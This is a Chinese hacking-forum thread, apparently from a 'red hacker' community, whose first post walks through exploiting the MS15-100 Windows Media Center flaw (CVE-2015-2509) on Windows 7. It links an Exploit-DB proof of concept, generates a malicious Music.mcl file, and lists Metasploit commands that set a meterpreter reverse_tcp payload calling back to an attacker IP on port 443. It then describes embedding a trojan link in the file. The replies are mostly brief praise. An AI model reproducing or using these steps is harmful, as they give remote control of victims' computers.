请选择 进入手机版 | 继续访问电脑版
查看: 12510|回复: 1432

[Windows] MS15-100 微软Media播放器漏洞利用-windows 7

[复制链接]
  • TA的每日心情
    擦汗
    2015-12-30 09:54
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2015-12-29 23:27:47 | 显示全部楼层 |阅读模式
    本帖最后由 miko 于 2015-12-29 23:46 编辑

    Attacker: kali Linux
    Victim PC: Windows 7
    Open Kali terminal type msfconsole
    POC:  https://www.exploit-db.com/exploits/38151/
    ------------------------------------------------------------------------
    # Title: MS15-100 Windows Media Center Command Execution
    # Date : 11/09/2015
    # Author: R-73eN
    # Software: Windows Media Center
    # Tested : Windows 7 Ultimate
    # CVE : 2015-2509
    -----------------------------------------------------------------------------
    POC:  https://www.exploit-db.com/exploits/38151/
    下载利用文件py生成Music.mcl
    terminal:Python 38151.py
    QQ截图20151229231834.png

    use exploit/windows/fileformat/ms15_100_mclexe

    exploit( ms15_100_mclexe )>set payload windows/meterpreter/reverse_tcp

    exploit( ms15_100_mclexe )>set lhost 192.168.1.13(攻击者IP)

    exploit( ms15_100_mclexe )>set lport 443

    exploit( ms15_100_mclexe )>exploit
    QQ截图20151229162145.png
    QQ截图20151229162113.png

    编程Music.mcl文件,把恶意木马链接放进去,保存!成功!
    QQ截图20151229162013.png
    QQ截图20151229162039.png
    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2017-5-31 10:36
  • 签到天数: 176 天

    [LV.7]常住居民III

    发表于 2015-12-30 04:55:44 来自手机 | 显示全部楼层
    6666#####看了就看了!!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-12-30 05:59:09 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2016-3-4 11:35
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    发表于 2015-12-30 08:33:22 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-12-30 11:46:18 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-12-30 13:06:58 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2021-6-3 13:28
  • 签到天数: 548 天

    [LV.9]以坛为家II

    发表于 2015-12-30 13:24:06 | 显示全部楼层
    ettercap直接攻击就好了呗~
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-12-30 17:34:45 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-12-30 20:22:49 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2021-5-30 23:04
  • 签到天数: 90 天

    [LV.6]常住居民II

    发表于 2015-12-30 22:07:08 | 显示全部楼层
    看不怎么懂
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表